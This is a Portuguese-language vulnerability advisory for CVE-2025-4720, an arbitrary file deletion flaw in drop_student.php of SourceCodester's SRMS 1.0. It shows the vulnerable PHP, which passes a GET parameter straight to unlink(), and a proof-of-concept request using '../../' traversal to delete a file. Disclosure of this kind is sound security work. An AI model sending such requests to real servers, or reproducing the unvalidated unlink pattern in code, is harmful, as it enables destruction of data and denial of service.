cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

Exclusão Arbitrária de Arquivos no SRMS 1.0 do SourceCodester

Descrição

Existe uma vulnerabilidade de path traversal no endpoint drop_student.php do Student Result Management System (SRMS) 1.0 do SourceCodester.

A aplicação recebe entrada controlada pelo usuário do parâmetro GET img e a passa diretamente para a função unlink() sem validação, permitindo a exclusão de arquivos arbitrários no servidor.

Código Vulnerável

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

Tipo de Vulnerabilidade

• CWE-22: Path Traversal
• Impacto: Exclusão Arbitrária de Arquivos

Prova de Conceito (PoC)

1. Crie um arquivo na raiz da aplicação:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. Envie a seguinte requisição:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. Observe que o arquivo é excluído do servidor.

Impacto

Um atacante pode excluir arquivos arbitrários acessíveis ao servidor web, incluindo:

• Arquivos de configuração da aplicação
• Logs
• Conteúdo enviado

Isso pode levar a negação de serviço ou exploração adicional.

Notas Adicionais

Esta vulnerabilidade representa um vetor de ataque distinto em comparação com problemas relatados anteriormente no SRMS, pois:

• Usa uma requisição GET
• Não requer upload de arquivo
• Pode ser potencialmente explorada via CSRF

Fornecedor

SourceCodester

Produto

Sistema de Gerenciamento de Resultados de Alunos (SRMS) https://www.sourcecodester.com/srms-makumbusho

Versão

1.0

Autor

Imad Alvi